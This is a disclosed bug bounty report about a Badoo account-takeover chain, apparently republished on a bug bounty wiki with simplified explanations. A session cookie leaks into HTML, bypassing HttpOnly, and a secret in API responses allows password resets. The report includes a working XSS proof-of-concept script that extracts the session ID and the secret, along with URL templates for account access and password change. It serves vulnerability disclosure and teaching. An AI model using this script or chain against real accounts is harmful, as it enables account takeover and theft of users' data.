Password modification without knowing actual password & httpOnly bypass
The session cookie is exposed in the HTML source of the /encounters page, allowing an XSS attacker to steal it despite HttpOnly. A secret value in some api.phtml pages can be used to modify a user's password without knowing the current one, and the user's email can be retrieved via a POST request.
- Disclosed after 42 days
Summary by the program
Two issues:
Session cookie is returned in HTML source code of /encounters page, which would allow an XSS attacker to steal it, even if httpOnly is activated. A secret value, present in HTML source code of some api.phtml pages, can be used to modify user's password without knowing actual one. Privacy issue : user's email address, hiden in user interface, can be found when sending a POST request to /api.phtml?SERVER_APP_STARTUP Combining these three issues, an XSS attacker can steal session cookie and modify user's password without knowing actual one.
The following POC (works in Chrome latest version) bypasses HttpOnly to retrieve the session cookie, and then do a POST to /api.phtml to retrieve the secret value (see Screenshot):
/POC - BEGIN/ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == XMLHttpRequest.DONE) { a=xmlhttp.responseText.substr(xmlhttp.responseText.search("session_id":"")+13);b=a.substr(0,a.search("""));//alert(b); var xmlhttp2 = new XMLHttpRequest(); xmlhttp2.onreadystatechange = function() { if (xmlhttp2.readyState == XMLHttpRequest.DONE) { a2=xmlhttp2.responseText.substr(xmlhttp2.responseText.search("secret=")+7);b2=a2.substr(0,a2.search("""));alert(b2); } } xmlhttp2.open("POST", "/api.phtml?SERVER_GET_USER"); xmlhttp2.setRequestHeader("Content-Type", "json"); xmlhttp2.setRequestHeader("X-Session-id", b); xmlhttp2.send(JSON.stringify({"$gpb":"badoo.bma.BadooMessage","version":1,"message_type":403,"message_id":13,"body":[{"$gpb":"badoo.bma.MessageBody","message_type":403,"server_get_user":{"$gpb":"badoo.bma.ServerGetUser","user_id":$s.user_id.toString(),"user_field_filter":{"$gpb":"badoo.bma.UserFieldFilter","projection":[100]},"client_source":0}}]})); } } xmlhttp.open("GET", "/encounters",true); xmlhttp.send(); /POC - END/
Note that with the "secret" value and user's UID, an attacker can access user's account anytime using the following URL: https://eu1.badoo.com/access.phtml?UID=[UID]&secret=[secret]
Similarily, user's email can be retrieved by send POST request to /api.phtml?SERVER_APP_STARTUP.
The attacker can then go to the following URL to change user's password: https://eu1.badoo.com/forgot_enter.phtml?code=[secret]&email=[email]
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application embedded the session cookie and a password-reset secret in HTML/API responses.
Impact
An XSS attacker could steal the session cookie, retrieve the user's email, and change the user's password without knowing the current one, leading to account takeover.
What the attacker needed
Attacker can execute JavaScript in victim's browser
How it was found
- Send a GET request to /encounters and extract the session_id from the response.
- Send a POST request to /api.phtml?SERVER_GET_USER with the stolen session ID to retrieve the secret value.
- Use the secret and user's UID to access the account via /access.phtml.
- Send a POST request to /api.phtml?SERVER_APP_STARTUP to retrieve the user's email.
- Use the secret and email to change the password via /forgot_enter.phtml.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website's session cookie is like a temporary ID card that keeps you logged in. Normally, a security setting called HttpOnly stops scripts from reading this cookie, but here the cookie was also written directly into the page's HTML, so a malicious script could still find it. Separately, a secret code hidden in some API responses could be used to reset a user's password without knowing the old one.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.